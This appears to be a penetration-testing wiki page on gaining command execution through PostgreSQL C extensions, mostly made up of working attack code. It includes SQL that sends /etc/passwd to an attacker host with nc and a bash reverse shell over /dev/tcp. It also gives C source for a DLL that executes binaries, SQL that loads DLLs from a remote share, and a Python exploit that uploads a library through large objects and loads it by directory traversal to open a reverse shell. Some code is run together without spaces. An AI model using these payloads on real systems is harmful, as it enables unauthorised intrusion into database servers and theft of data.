PostgreSQL is designed to be easily extensible. For this reason, extensions loaded into the database can function just like features that are built in.
Extensions are modules that supply extra functions, operators, or types. They are libraries written in C.
From PostgreSQL > 8.1 the extension libraries must be compiled with a especial header or PostgreSQL will refuse to execute them.
The process for executing system commands from PostgreSQL 8.1 and before is straightforward and well documented (Metasploit module):
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
However, when attempted on PostgreSQL 9.0, the following error was shown:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
`#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
endif`
So for PostgreSQL versions since 8.2, an attacker either needs to take advantage of a library already present on the system, or upload their own library, which has been compiled against the right major version of PostgreSQL, and includes this magic block.
Compile the library
First of all you need to know the version of PostgreSQL running:
Then upload the compiled library and execute commands with:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with:
The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){ /* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) { /*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1); }PG_RETURN_VOID();}
You can find the DLL compiled in this zip:
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE in newest Prostgres versions
On the latest versions of PostgreSQL, the superuser is no longer allowed to load a shared library file from anywhere else besides C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix. Additionally, this path is not writable by either the NETWORK_SERVICE or postgres accounts.
However, an authenticated database superusercan write binary files to the file-system using “large objects” and can of course write to the C:\Program Files\PostgreSQL\11\data directory. The reason for this should be clear, for updating/creating tables in the database.
The underlying issue is that the CREATE FUNCTION operative allows for a directory traversal to the data directory! So essentially, an authenticated attacker can write a shared library file into the data directory and use the traversal to load the shared library. This means an attacker can get native code execution and as such, execute arbitrary code.
Attack flow
First of all you need to use large objects to upload the dll. You can see how to do that here:
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Note that you don't need to append the .dll extension as the create function will add it.
For more information read theoriginal publication here.
In that publication this was thecode use to generate the postgres extension**(to learn how to compile a postgres extension read any of the previous versions).
In the same page this exploit to automate** this technique was given:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0]) sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll: d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048): start = i *2048 end = (i+1) *2048if i ==0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0: end = (i+1) *2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile: sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")